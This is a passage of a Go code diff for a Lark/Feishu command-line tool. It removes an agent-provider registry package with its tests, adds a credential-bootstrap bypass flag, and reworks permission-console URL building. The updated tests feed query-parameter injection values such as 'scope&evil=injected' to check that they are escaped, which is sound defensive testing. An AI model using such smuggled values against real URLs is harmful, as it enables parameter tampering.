-	// ListAgents enumerates the provider's own agents (catalog discovery). nil ⇒
-	// `agent list <scheme>` reports the provider is not enumerable. A KindCatalog
-	// provider must wire it (asserted at Register time).
-	ListAgents func(ctx context.Context) ([]AgentSummary, error)
-
-	// ── Optional descriptive metadata ──
-
-	// Describe supplies the per-agent Card metadata (Name/Description/Parameters/
-	// Skills) and is the place to validate an unknown agent_id (return a typed
-	// error). nil ⇒ the card carries only registration fields + derived
-	// capabilities. Called at card-display time (may hit the network for an
-	// instance provider that fetches its card remotely).
-	Describe func(ctx context.Context) (*CardInfo, error)
-
-	// ── Behavioral flags (not derivable from method presence) ──
-
-	// FileInput reports whether Send accepts SendInput.Files (drives card
-	// file_input and the --file off-machine-upload confirmation gate).
-	FileInput bool
-	// InputRequired reports whether the agent may pause a task in the
-	// input_required state awaiting more input (drives card input_required).
-	InputRequired bool
-}

internal/agent/ref.go

@@ -1,29 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"errors"
-	"strings"
-)
-
-// ErrInvalidRef is the sentinel error for a malformed agent_ref (wrapped into a
-// validation error by the caller).
-var ErrInvalidRef = errors.New("agent_ref 格式应为 <provider>:<agent_id>")
-
-// Ref is the identifier addressing a remote agent: <scheme>:<agent_id>, e.g. example:echo.
-type Ref struct {
-	Scheme  string
-	AgentID string
-}
-
-// ParseRef parses a ref string. On a malformed format it returns ErrInvalidRef
-// (wrapped into a validation error by the caller).
-func ParseRef(s string) (Ref, error) {
-	parts := strings.SplitN(s, ":", 2)
-	if len(parts) != 2 || parts[0] == "" || parts[1] == "" || strings.Contains(parts[1], ":") {
-		return Ref{}, ErrInvalidRef
-	}
-	return Ref{Scheme: parts[0], AgentID: parts[1]}, nil
-}

internal/agent/ref_test.go

@@ -1,24 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"errors"
-	"testing"
-)
-
-func TestParseRef(t *testing.T) {
-	r, err := ParseRef("example:agt_xxx")
-	if err != nil || r.Scheme != "example" || r.AgentID != "agt_xxx" {
-		t.Fatalf("got %+v err=%v", r, err)
-	}
-}
-
-func TestParseRefErrors(t *testing.T) {
-	for _, s := range []string{"", "example", "example:", ":agt", "example:agt:extra"} {
-		if _, err := ParseRef(s); !errors.Is(err, ErrInvalidRef) {
-			t.Errorf("ParseRef(%q) should return ErrInvalidRef, got err=%v", s, err)
-		}
-	}
-}

internal/agent/registry.go

@@ -1,182 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"fmt"
-	"sort"
-	"strings"
-
-	"github.com/larksuite/cli/internal/client"
-	"github.com/larksuite/cli/internal/core"
-)
-
-// Deps are the dependencies a provider factory needs (injected by the command
-// layer to avoid internal/agent depending on cmd).
-type Deps struct {
-	Client *client.APIClient
-	As     core.Identity
-}
-
-// Factory constructs a Provider from an agentID plus dependencies.
-type Factory func(deps Deps, agentID string) (*Provider, error)
-
-// ProviderKind is the closed set of provider forms (validated at Register time
-// to guard against cast typos).
-type ProviderKind string
-
-const (
-	// KindCatalog is the catalog type: the full agent set is known at
-	// registration time, and it must wire Provider.ListAgents.
-	KindCatalog ProviderKind = "catalog"
-	// KindInstance is the instance type: agents are created by users on the
-	// platform and cannot be enumerated by the CLI in advance.
-	KindInstance ProviderKind = "instance"
-)
-
-// ProviderInfo is a provider's registration contract: metadata beyond Factory
-// consumed by platform capabilities such as `agent list`, card synthesis, and
-// scope preflight. Everything except RequiredScopes is required (Register
-// validates fail-fast).
-type ProviderInfo struct {
-	// Factory constructs the Provider for this scheme. Factory must accept
-	// zero-value Deps and have no side effects during construction — this
-	// contract is enforced at registration time by Register's zero-value Deps
-	// probe (a violation panics), and agent list also constructs a probe
-	// instance with empty Deps to read the ListAgents capability
-	// (cmd/agent/list.go probeDiscoverer). Because the probe passes zero Deps and
-	// empty agentID, capability wiring must not depend on either.
-	Factory Factory
-	// Label is the user-facing provider name.
-	Label string
-	// AgentRefFormat is the written format of agent_ref, e.g. "example:<agent_id>";
-	// it must be prefixed with "<scheme>:" (validated by Register).
-	AgentRefFormat string
-	// AgentIDSource tells the user where to obtain the agent_id (key information
-	// for AI-guided onboarding).
-	AgentIDSource string
-	// Kind is the provider form: KindCatalog (catalog type) or KindInstance
-	// (instance type). Catalog types must wire Provider.ListAgents (asserted at
-	// Register time).
-	Kind ProviderKind
-	// RequiredScopes is the full (flat) set of scopes needed by any real API
-	// call this provider makes; preflight is all-or-nothing.
-	RequiredScopes []string
-	// Identities declares the supported calling identities and their
-	// preconditions; non-empty and Type ∈ {user, bot} (validated by Register).
-	Identities []IdentitySpec
-}
-
-var providerRegistry = map[string]ProviderInfo{}
-
-// Register is called by each adapter package in its init() to register itself
-// (exported so adapter packages like example can call it across packages).
-// Missing / invalid metadata is an integrator coding error and panics fail-fast
-// (including duplicate registration, aligned with the sql.Register convention).
-// At registration time it also constructs a Provider once via a zero-value Deps
-// probe: Factory must accept zero-value Deps (returning an error panics), and a
-// KindCatalog instance must implement Discoverer.
-func Register(scheme string, info ProviderInfo) {
-	if scheme == "" {
-		panic("agent: provider registration with empty scheme")
-	}
-	if _, dup := providerRegistry[scheme]; dup {
-		panic("agent: Register called twice for scheme: " + scheme)
-	}
-	switch {
-	case info.Factory == nil:
-		panic("agent: provider registration missing Factory: " + scheme)
-	case info.Label == "":
-		panic("agent: provider registration missing Label: " + scheme)
-	case info.AgentRefFormat == "":
-		panic("agent: provider registration missing AgentRefFormat: " + scheme)
-	case !strings.HasPrefix(info.AgentRefFormat, scheme+":"):
-		panic("agent: provider registration AgentRefFormat must start with \"" + scheme + ":\": " + scheme + ", got: " + info.AgentRefFormat)
-	case info.AgentIDSource == "":
-		panic("agent: provider registration missing AgentIDSource: " + scheme)
-	case info.Kind != KindCatalog && info.Kind != KindInstance:
-		panic("agent: provider registration invalid Kind (want catalog|instance): " + scheme + ", got: " + string(info.Kind))
-	case len(info.Identities) == 0:
-		panic("agent: provider registration missing Identities: " + scheme)
-	}
-	for _, id := range info.Identities {
-		if id.Type != IdentityUser && id.Type != IdentityBot {
-			panic("agent: provider registration invalid Identity Type (want user|bot): " + scheme + ", got: " + string(id.Type))
-		}
-	}
-	// Zero-value Deps construction probe: turns the Factory contract (see the
-	// ProviderInfo.Factory comment) from a pure convention into a
-	// registration-time enforcement, preventing capabilities from silently
-	// disappearing on the agent list probing path.
-	p, err := info.Factory(Deps{}, "")
-	if err != nil {
-		panic("agent: provider factory must accept zero-value Deps: " + scheme + ", got error: " + err.Error())
-	}
-	if p == nil {
-		panic("agent: provider factory returned nil Provider: " + scheme)
-	}
-	// Core capabilities are mandatory for every provider — a provider you cannot
-	// send to or read a task back from is not usable. The command layer relies on
-	// these never being nil (no nil-check before dispatch), so enforce it here.
-	switch {
-	case p.Send == nil:
-		panic("agent: provider missing core Send: " + scheme)
-	case p.GetTask == nil:
-		panic("agent: provider missing core GetTask: " + scheme)
-	}
-	// A catalog provider's full agent set is known offline, so it must be
-	// enumerable (wire ListAgents); an instance provider need not be.
-	if info.Kind == KindCatalog && p.ListAgents == nil {
-		panic("agent: catalog provider must wire ListAgents: " + scheme)
-	}
-	providerRegistry[scheme] = info
-}
-
-// Info returns the registration value for a scheme (the struct is returned by
-// value, but its slice fields share the underlying array with the registry, so
-// the caller must treat them as read-only); returns ok=false if not registered.
-func Info(scheme string) (ProviderInfo, bool) {
-	info, ok := providerRegistry[scheme]
-	return info, ok
-}
-
-// providerFor fetches the factory for a scheme and constructs a Provider. An
-// unknown scheme returns an error listing the available options.
-func providerFor(scheme, agentID string, deps Deps) (*Provider, error) {
-	info, ok := providerRegistry[scheme]
-	if !ok {
-		return nil, fmt.Errorf("未知的 agent provider '%s'，当前支持: %s", scheme, KnownSchemes())
-	}
-	return info.Factory(deps, agentID)
-}
-
-// KnownSchemes returns a comma-separated list of registered schemes (stably
-// sorted), or "(none)" when empty (exported: cmd/agent's unknown-scheme message
-// reuses the same implementation to avoid double-sourcing).
-func KnownSchemes() string {
-	s := RegisteredSchemes()
-	if len(s) == 0 {
-		return "(none)"
-	}
-	return strings.Join(s, ", ")
-}
-
-// Resolve parses a ref and constructs the corresponding Provider (command-layer entry point).
-func Resolve(ref string, deps Deps) (*Provider, error) {
-	r, err := ParseRef(ref)
-	if err != nil {
-		return nil, err
-	}
-	return providerFor(r.Scheme, r.AgentID, deps)
-}
-
-// RegisteredSchemes lets `agent list` enumerate registered providers (exported for cmd/agent).
-func RegisteredSchemes() []string {
-	s := make([]string, 0, len(providerRegistry))
-	for k := range providerRegistry {
-		s = append(s, k)
-	}
-	sort.Strings(s)
-	return s
-}

internal/agent/registry_test.go

@@ -1,275 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"errors"
-	"reflect"
-	"strings"
-	"testing"
-)
-
-// swapRegistry replaces the global providerRegistry with the given map (restored
-// automatically via t.Cleanup), for test isolation. It swaps the global variable
-// without a lock, so callers must not use t.Parallel.
-func swapRegistry(t *testing.T, m map[string]ProviderInfo) {
-	t.Helper()
-	saved := providerRegistry
-	providerRegistry = m
-	t.Cleanup(func() { providerRegistry = saved })
-}
-
-// okProvider is a minimal valid provider: it wires the two mandatory core fields
-// (Send/GetTask) so it passes Register's zero-Deps probe. Tests that need extra
-// capabilities set the fields on the returned struct.
-func okProvider() *Provider {
-	return &Provider{
-		Send:    func(context.Context, SendInput) (*AgentTask, error) { return nil, nil },
-		GetTask: func(context.Context, string) (*AgentTask, error) { return nil, nil },
-	}
-}
-
-// okFactory returns a Factory yielding okProvider — the default for cases that
-// only care about metadata/registry behavior, not capabilities.
-func okFactory() Factory {
-	return func(Deps, string) (*Provider, error) { return okProvider(), nil }
-}
-
-// testInfo builds a minimal ProviderInfo that passes Register validation
-// (AgentRefFormat is generated from the scheme so it satisfies the prefix check),
-// reused by cases that only care about the Factory.
-func testInfo(scheme string, f Factory) ProviderInfo {
-	return ProviderInfo{
-		Factory:        f,
-		Label:          "test provider",
-		AgentRefFormat: scheme + ":<agent_id>",
-		AgentIDSource:  "test source",
-		Kind:           KindInstance,
-		Identities:     []IdentitySpec{{Type: IdentityUser}},
-	}
-}
-
-// mustPanic asserts that fn panics and the message contains wantMsg.
-func mustPanic(t *testing.T, wantMsg string, fn func()) {
-	t.Helper()
-	defer func() {
-		r := recover()
-		if r == nil {
-			t.Fatalf("should panic (want message containing %q)", wantMsg)
-		}
-		msg, _ := r.(string)
-		if !strings.Contains(msg, wantMsg) {
-			t.Fatalf("panic message should contain %q, got %q", wantMsg, msg)
-		}
-	}()
-	fn()
-}
-
-// TestRegisterPanicBranches table-drives the Register fail-fast panic branches
-// on metadata fields: missing Factory / Label / AgentRefFormat / AgentIDSource /
-// Identities, an invalid Kind, an invalid Identity Type, and an AgentRefFormat
-// that does not start with "<scheme>:" (panic messages must carry the actual
-// offending value). Metadata validation runs before the probe, so a valid
-// okFactory keeps the probe from firing first.
-func TestRegisterPanicBranches(t *testing.T) {
-	cases := []struct {
-		name    string
-		mutate  func(info *ProviderInfo)
-		wantMsg string
-	}{
-		{"missing Factory", func(info *ProviderInfo) { info.Factory = nil }, "missing Factory"},
-		{"missing Label", func(info *ProviderInfo) { info.Label = "" }, "missing Label"},
-		{"missing AgentRefFormat", func(info *ProviderInfo) { info.AgentRefFormat = "" }, "missing AgentRefFormat"},
-		{"missing AgentIDSource", func(info *ProviderInfo) { info.AgentIDSource = "" }, "missing AgentIDSource"},
-		{"invalid Kind", func(info *ProviderInfo) { info.Kind = "weird" }, "got: weird"},
-		{"missing Identities", func(info *ProviderInfo) { info.Identities = nil }, "missing Identities"},
-		{"invalid Identity Type", func(info *ProviderInfo) {
-			info.Identities = []IdentitySpec{{Type: "robot"}}
-		}, "got: robot"},
-		{"AgentRefFormat wrong prefix", func(info *ProviderInfo) {
-			info.AgentRefFormat = "other:<agent_id>"
-		}, "must start with \"bad:\""},
-	}
-	for _, tc := range cases {
-		t.Run(tc.name, func(t *testing.T) {
-			swapRegistry(t, map[string]ProviderInfo{})
-			info := testInfo("bad", okFactory())
-			tc.mutate(&info)
-			mustPanic(t, tc.wantMsg, func() { Register("bad", info) })
-		})
-	}
-}
-
-// TestRegisterEmptyScheme pins the empty-scheme fail-fast branch.
-func TestRegisterEmptyScheme(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	mustPanic(t, "empty scheme", func() { Register("", testInfo("", okFactory())) })
-}
-
-// TestRegisterDuplicateScheme pins the sql.Register-style dup panic.
-func TestRegisterDuplicateScheme(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	Register("dup", testInfo("dup", okFactory()))
-	mustPanic(t, "called twice for scheme: dup", func() { Register("dup", testInfo("dup", okFactory())) })
-}
-
-// TestRegisterFactoryZeroDepsProbe pins the registration-time zero-Deps probe:
-// a factory erroring under zero-value Deps is a contract violation and panics.
-func TestRegisterFactoryZeroDepsProbe(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	bad := func(Deps, string) (*Provider, error) { return nil, errors.New("need client") }
-	mustPanic(t, "must accept zero-value Deps", func() { Register("zd", testInfo("zd", bad)) })
-}
-
-// TestRegisterNilProvider pins the probe's nil-Provider branch.
-func TestRegisterNilProvider(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	nilP := func(Deps, string) (*Provider, error) { return nil, nil }
-	mustPanic(t, "returned nil Provider", func() { Register("np", testInfo("np", nilP)) })
-}
-
-// TestRegisterMissingCore pins that the mandatory core fields are enforced at
-// registration: a provider missing Send or GetTask panics fail-fast.
-func TestRegisterMissingCore(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	noSend := func(Deps, string) (*Provider, error) {
-		return &Provider{GetTask: func(context.Context, string) (*AgentTask, error) { return nil, nil }}, nil
-	}
-	mustPanic(t, "missing core Send", func() { Register("ns", testInfo("ns", noSend)) })
-
-	swapRegistry(t, map[string]ProviderInfo{})
-	noGet := func(Deps, string) (*Provider, error) {
-		return &Provider{Send: func(context.Context, SendInput) (*AgentTask, error) { return nil, nil }}, nil
-	}
-	mustPanic(t, "missing core GetTask", func() { Register("ng", testInfo("ng", noGet)) })
-}
-
-// TestRegisterCatalogRequiresListAgents pins the catalog-archetype MUST:
-// a KindCatalog provider whose probe instance does not wire ListAgents panics.
-// The factory wires the core fields so the panic is specifically about ListAgents
-// (not a missing-core panic firing first).
-func TestRegisterCatalogRequiresListAgents(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	info := testInfo("cat", okFactory()) // okProvider wires Send/GetTask but not ListAgents
-	info.Kind = KindCatalog
-	mustPanic(t, "must wire ListAgents", func() { Register("cat", info) })
-}
-
-func TestInfoReturnsRegisteredMetadata(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	Register("t1", ProviderInfo{
-		Factory:        okFactory(),
-		Label:          "测试 provider",
-		AgentRefFormat: "t1:<agent_id>",
-		AgentIDSource:  "在 T1 控制台获取",
-		Kind:           KindInstance,
-		RequiredScopes: []string{"t1:chat:write"},
-		Identities:     []IdentitySpec{{Type: IdentityUser}},
-	})
-	info, ok := Info("t1")
-	if !ok || info.Label != "测试 provider" || info.Kind != KindInstance {
-		t.Fatalf("Info(t1) = %+v, %v", info, ok)
-	}
-	if _, ok := Info("nonexistent"); ok {
-		t.Fatal("Info(nonexistent) should return ok=false")
-	}
-}
-
-func TestRegistryUnknownScheme(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	// unknown scheme: the factory is never called, so deps value is irrelevant; use zero-value Deps{}.
-	_, err := providerFor("nosuch", "agt_x", Deps{})
-	if err == nil {
-		t.Fatal("unknown scheme should return an error")
-	}
-}
-
-func TestRegistryKnownScheme(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	// The factory passes the zero-value Deps probe (empty agentID → a valid
-	// provider) and only errors on a real construction, staying compatible with
-	// the registration-time probe.
-	Register("stub", testInfo("stub", func(f Deps, agentID string) (*Provider, error) {
-		if agentID == "" {
-			return okProvider(), nil
-		}
-		return nil, errors.New("stub called")
-	}))
-	_, err := providerFor("stub", "agt_x", Deps{})
-	if err == nil || err.Error() != "stub called" {
-		t.Fatalf("should reach the stub factory, got %v", err)
-	}
-}
-
-func TestKnownSchemesEmpty(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	if got := KnownSchemes(); got != "(none)" {
-		t.Fatalf("an empty registry should return \"(none)\", got %q", got)
-	}
-}
-
-func TestRegisteredSchemesSorted(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	// Register out of order to verify enumeration + sort stability.
-	Register("gamma", testInfo("gamma", okFactory()))
-	Register("alpha", testInfo("alpha", okFactory()))
-	Register("beta", testInfo("beta", okFactory()))
-	got := RegisteredSchemes()
-	want := []string{"alpha", "beta", "gamma"}
-	if !reflect.DeepEqual(got, want) {
-		t.Fatalf("RegisteredSchemes should enumerate and sort, want %v got %v", want, got)
-	}
-	// knownSchemes reuses RegisteredSchemes; verify the comma joining.
-	if s := KnownSchemes(); s != "alpha, beta, gamma" {
-		t.Fatalf("knownSchemes should be comma-joined, got %q", s)
-	}
-}
-
-func TestResolveInvalidRef(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	// Missing the <scheme>:<agent_id> separator, so ParseRef errors and Resolve propagates it as-is.
-	_, err := Resolve("no-colon", Deps{})
-	if !errors.Is(err, ErrInvalidRef) {
-		t.Fatalf("an invalid ref should propagate ErrInvalidRef, got %v", err)
-	}
-}
-
-func TestResolveUnknownScheme(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	// The ref is valid but the scheme is unregistered, so the error comes from providerFor.
-	_, err := Resolve("nosuch:agt_x", Deps{})
-	if err == nil {
-		t.Fatal("an unregistered scheme should return an error")
-	}
-	if errors.Is(err, ErrInvalidRef) {
-		t.Fatalf("an unregistered scheme should not be ErrInvalidRef, got %v", err)
-	}
-}
-
-func TestResolveSuccess(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	sentinel := okProvider()
-	var gotDeps Deps
-	var gotAgentID string
-	Register("demo", testInfo("demo", func(deps Deps, agentID string) (*Provider, error) {
-		gotDeps = deps
-		gotAgentID = agentID
-		return sentinel, nil
-	}))
-	deps := Deps{}
-	p, err := Resolve("demo:agt_42", deps)
-	if err != nil {
-		t.Fatalf("a valid ref + registered scheme should succeed, got %v", err)
-	}
-	if p != sentinel {
-		t.Fatalf("should return the Provider built by the factory, got %v", p)
-	}
-	if gotAgentID != "agt_42" {
-		t.Fatalf("factory should receive the parsed agentID, got %q", gotAgentID)
-	}
-	if gotDeps != deps {
-		t.Fatalf("factory should receive the passed-in Deps, got %+v", gotDeps)
-	}
-}

internal/agent/spi.go

@@ -1,26 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-// IdentityType is the closed set of values for IdentitySpec.Type (validated at
-// Register time to guard against typos).
-type IdentityType string
-
-const (
-	IdentityUser IdentityType = "user"
-	IdentityBot  IdentityType = "bot"
-)
-
-// IdentitySpec declares a supported identity and its precondition, if any.
-type IdentitySpec struct {
-	Type         IdentityType `json:"type"` // IdentityUser | IdentityBot
-	Precondition string       `json:"precondition,omitempty"`
-}
-
-// AgentSummary is one discoverable agent in `agent list <scheme>` output.
-type AgentSummary struct {
-	AgentRef    string `json:"agent_ref"`
-	Name        string `json:"name"`
-	Description string `json:"description,omitempty"`
-}

internal/agent/state.go

@@ -1,35 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-// TaskState is the A2A task state, constant across all providers (9 states).
-type TaskState string
-
-const (
-	StateSubmitted     TaskState = "submitted"
-	StateWorking       TaskState = "working"
-	StateInputRequired TaskState = "input_required"
-	StateAuthRequired  TaskState = "auth_required"
-	StateCompleted     TaskState = "completed"
-	StateFailed        TaskState = "failed"
-	StateCanceled      TaskState = "canceled"
-	StateRejected      TaskState = "rejected"
-	StateUnknown       TaskState = "unknown"
-)
-
-// IsTerminal reports whether the task has entered a terminal state.
-func (s TaskState) IsTerminal() bool {
-	switch s {
-	case StateCompleted, StateFailed, StateCanceled, StateRejected:
-		return true
-	default:
-		return false
-	}
-}
-
-// ShouldStopPolling reports whether polling should stop: terminal state, or
-// awaiting additional input / re-authentication.
-func (s TaskState) ShouldStopPolling() bool {
-	return s.IsTerminal() || s == StateInputRequired || s == StateAuthRequired
-}

internal/agent/state_test.go

@@ -1,34 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import "testing"
-
-func TestIsTerminal(t *testing.T) {
-	cases := map[TaskState]bool{
-		StateSubmitted: false, StateWorking: false, StateInputRequired: false,
-		StateAuthRequired: false, StateCompleted: true, StateFailed: true,
-		StateCanceled: true, StateRejected: true, StateUnknown: false,
-	}
-	for s, want := range cases {
-		if got := s.IsTerminal(); got != want {
-			t.Errorf("%s.IsTerminal()=%v want %v", s, got, want)
-		}
-	}
-}
-
-func TestShouldStopPolling(t *testing.T) {
-	stop := []TaskState{StateCompleted, StateFailed, StateCanceled, StateRejected, StateInputRequired, StateAuthRequired}
-	cont := []TaskState{StateSubmitted, StateWorking, StateUnknown}
-	for _, s := range stop {
-		if !s.ShouldStopPolling() {
-			t.Errorf("%s should stop polling", s)
-		}
-	}
-	for _, s := range cont {
-		if s.ShouldStopPolling() {
-			t.Errorf("%s should keep polling", s)
-		}
-	}
-}

internal/cmdutil/factory.go

@@ -48,6 +48,22 @@ type Factory struct {
 	SkillContent fs.FS // embedded skill tree (rooted at the skill list); nil when the build embeds no skills
 }
 
+type skipCredentialBootstrapKey struct{}
+
+// ContextWithCredentialBootstrapDisabled marks a command-tree build as
+// credential-free. Use it only for purely local command surfaces that must be
+// constructed without probing strict-mode, profile, or keychain state.
+func ContextWithCredentialBootstrapDisabled(ctx context.Context) context.Context {
+	return context.WithValue(ctx, skipCredentialBootstrapKey{}, true)
+}
+
+// IsCredentialBootstrapDisabled reports whether credential-backed bootstrap
+// probes must be skipped for this context.
+func IsCredentialBootstrapDisabled(ctx context.Context) bool {
+	v, _ := ctx.Value(skipCredentialBootstrapKey{}).(bool)
+	return v
+}
+
 // ResolveFileIO resolves a FileIO instance using the current execution context.
 // The provider controls whether the returned instance is fresh or cached.
 func (f *Factory) ResolveFileIO(ctx context.Context) fileio.FileIO {
@@ -109,6 +125,9 @@ func autoDetectIdentityFromHint(hint *credential.IdentityHint) core.Identity {
 }
 
 func (f *Factory) resolveIdentityHint(ctx context.Context) *credential.IdentityHint {
+	if IsCredentialBootstrapDisabled(ctx) {
+		return nil
+	}
 	if f.Credential == nil {
 		return nil
 	}
@@ -148,6 +167,9 @@ func (f *Factory) CheckIdentity(as core.Identity, supported []string) error {
 // ResolveStrictMode returns the effective strict mode by reading
 // Account.SupportedIdentities from the credential provider chain.
 func (f *Factory) ResolveStrictMode(ctx context.Context) core.StrictMode {
+	if IsCredentialBootstrapDisabled(ctx) {
+		return core.StrictModeOff
+	}
 	if f.Credential == nil {
 		return core.StrictModeOff
 	}

internal/errclass/classify.go

@@ -10,12 +10,14 @@ import (
 	"strings"
 
 	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/core"
 )
 
 // ClassifyContext is the contextual data BuildAPIError uses to populate
 // identity-aware fields on typed errors (PermissionError.Identity / ConsoleURL).
-// Identity is a plain string ("user" / "bot" / "") so this package does not
-// depend on internal/core (which would create an import cycle).
+// Brand and Identity are plain strings at this boundary; ConsoleURL normalizes
+// Brand through core.ParseBrand, so callers can pass a raw brand string without
+// coupling this contract to core's brand enum.
 type ClassifyContext struct {
 	Brand    string // "feishu" | "lark" — drives console_url host
 	AppID    string // placed in console_url
@@ -444,28 +446,27 @@ func extractMissingScopes(resp map[string]any) []string {
 	return out
 }
 
-// ConsoleURL composes the Feishu/Lark open-platform scope-grant console URL,
-// suitable for PermissionError.ConsoleURL. Empty appID → empty string. Empty
-// scopes list returns the bare /auth landing page; scopes are joined with
-// commas in the `q` query parameter so the console can pre-select them.
+// ConsoleURL composes the Feishu/Lark open-platform application-scope apply
+// page URL (the official open-pages `/page/scope-apply` entry), suitable for
+// PermissionError.ConsoleURL. Empty appID → empty string. Empty scopes list
+// returns the page carrying only clientID; otherwise scopes are joined with
+// commas in the `scopes` query parameter so the console can pre-select them.
 //
 // brand is "feishu" or "lark"; unknown values default to feishu.
 func ConsoleURL(brand, appID string, scopes []string) string {
 	if appID == "" {
 		return ""
 	}
-	host := "open.feishu.cn"
-	if brand == "lark" {
-		host = "open.larksuite.com"
-	}
-	// PathEscape on appID — it sits in the URL path. QueryEscape on the
-	// comma-joined scopes — they sit in the `?q=` value, and untrusted scope
-	// content must not be able to inject extra query parameters via `&`/`#`.
-	pathID := url.PathEscape(appID)
+	// QueryEscape both values — clientID and scopes both sit in the query
+	// string, and untrusted content must not be able to inject extra query
+	// parameters via `&`/`#`. The brand→host mapping is owned by core so the
+	// open-platform base URL stays a single source of truth.
+	base := fmt.Sprintf("%s/page/scope-apply?clientID=%s",
+		core.ResolveOpenBaseURL(core.ParseBrand(brand)), url.QueryEscape(appID))
 	if len(scopes) == 0 {
-		return fmt.Sprintf("https://%s/app/%s/auth", host, pathID)
+		return base
 	}
-	return fmt.Sprintf("https://%s/app/%s/auth?q=%s", host, pathID, url.QueryEscape(strings.Join(scopes, ",")))
+	return base + "&scopes=" + url.QueryEscape(strings.Join(scopes, ","))
 }
 
 func intFromAny(v any) int {

internal/errclass/classify_test.go

@@ -422,8 +422,8 @@ func TestConsoleURL_FeishuBrand(t *testing.T) {
 	if !ok {
 		t.Fatalf("expected *errs.PermissionError, got %T", err)
 	}
-	if !strings.Contains(pe.ConsoleURL, "open.feishu.cn/app/cli_a123") {
-		t.Fatalf("ConsoleURL = %q, want open.feishu.cn prefix", pe.ConsoleURL)
+	if !strings.Contains(pe.ConsoleURL, "open.feishu.cn/page/scope-apply?clientID=cli_a123") {
+		t.Fatalf("ConsoleURL = %q, want open.feishu.cn scope-apply page", pe.ConsoleURL)
 	}
 }
 
@@ -434,8 +434,8 @@ func TestConsoleURL_LarkBrand(t *testing.T) {
 	if !ok {
 		t.Fatalf("expected *errs.PermissionError, got %T", err)
 	}
-	if !strings.Contains(pe.ConsoleURL, "open.larksuite.com/app/cli_a123") {
-		t.Fatalf("ConsoleURL = %q, want open.larksuite.com prefix", pe.ConsoleURL)
+	if !strings.Contains(pe.ConsoleURL, "open.larksuite.com/page/scope-apply?clientID=cli_a123") {
+		t.Fatalf("ConsoleURL = %q, want open.larksuite.com scope-apply page", pe.ConsoleURL)
 	}
 }
 
@@ -485,35 +485,35 @@ func TestConsoleURL_EscapesDangerousChars(t *testing.T) {
 			name:      "ampersand in scope smuggles extra param",
 			appID:     "cli_good",
 			scopes:    []string{"scope&evil=injected"},
-			wantInURL: []string{"q=scope%26evil%3Dinjected"},
-			denyInURL: []string{"q=scope&evil=injected"},
+			wantInURL: []string{"scopes=scope%26evil%3Dinjected"},
+			denyInURL: []string{"scopes=scope&evil=injected"},
 		},
 		{
 			name:      "hash in scope splits fragment",
 			appID:     "cli_good",
 			scopes:    []string{"scope#fragment"},
-			wantInURL: []string{"q=scope%23fragment"},
-			denyInURL: []string{"q=scope#fragment"},
+			wantInURL: []string{"scopes=scope%23fragment"},
+			denyInURL: []string{"scopes=scope#fragment"},
 		},
 		{
 			name:      "question mark in appID prematurely opens query",
 			appID:     "good?q=injected",
 			scopes:    []string{"docx:document"},
-			wantInURL: []string{"/app/good%3Fq=injected/auth"},
-			denyInURL: []string{"/app/good?q=injected/auth"},
+			wantInURL: []string{"clientID=good%3Fq%3Dinjected"},
+			denyInURL: []string{"clientID=good?q=injected"},
 		},
 		{
 			name:      "hash in appID truncates URL",
 			appID:     "good#fragment",
 			scopes:    []string{"docx:document"},
-			wantInURL: []string{"/app/good%23fragment/auth"},
-			denyInURL: []string{"/app/good#fragment/auth"},
+			wantInURL: []string{"clientID=good%23fragment"},
+			denyInURL: []string{"clientID=good#fragment"},
 		},
 		{
-			name:      "slash in appID escapes path segment",
+			name:      "slash in appID does not open a new path segment",
 			appID:     "good/extra/segment",
 			scopes:    []string{"docx:document"},
-			wantInURL: []string{"/app/good%2Fextra%2Fsegment/auth"},
+			wantInURL: []string{"clientID=good%2Fextra%2Fsegment"},
 		},
 	}
 
@@ -553,8 +553,8 @@ func TestPermissionError_NoViolations(t *testing.T) {
 	if pe.MissingScopes != nil {
 		t.Errorf("MissingScopes should be nil; got %v", pe.MissingScopes)
 	}
-	if !strings.HasSuffix(pe.ConsoleURL, "/app/cli_a123/auth") {
-		t.Errorf("ConsoleURL (no scopes) = %q, want trailing /app/cli_a123/auth", pe.ConsoleURL)
+	if !strings.HasSuffix(pe.ConsoleURL, "/page/scope-apply?clientID=cli_a123") {
+		t.Errorf("ConsoleURL (no scopes) = %q, want trailing /page/scope-apply?clientID=cli_a123", pe.ConsoleURL)
 	}
 }
 
@@ -758,7 +758,7 @@ func TestBuildPermissionHint_AppMissingScopeRoutesToConsole(t *testing.T) {
 	// at the app level — re-authenticating cannot fix it. The hint must
 	// point to the developer console regardless of caller identity, or
 	// agents will loop on `auth login` forever.
-	consoleURL := "https://open.feishu.cn/app/cli_x/auth?q=contact%3Acontact"
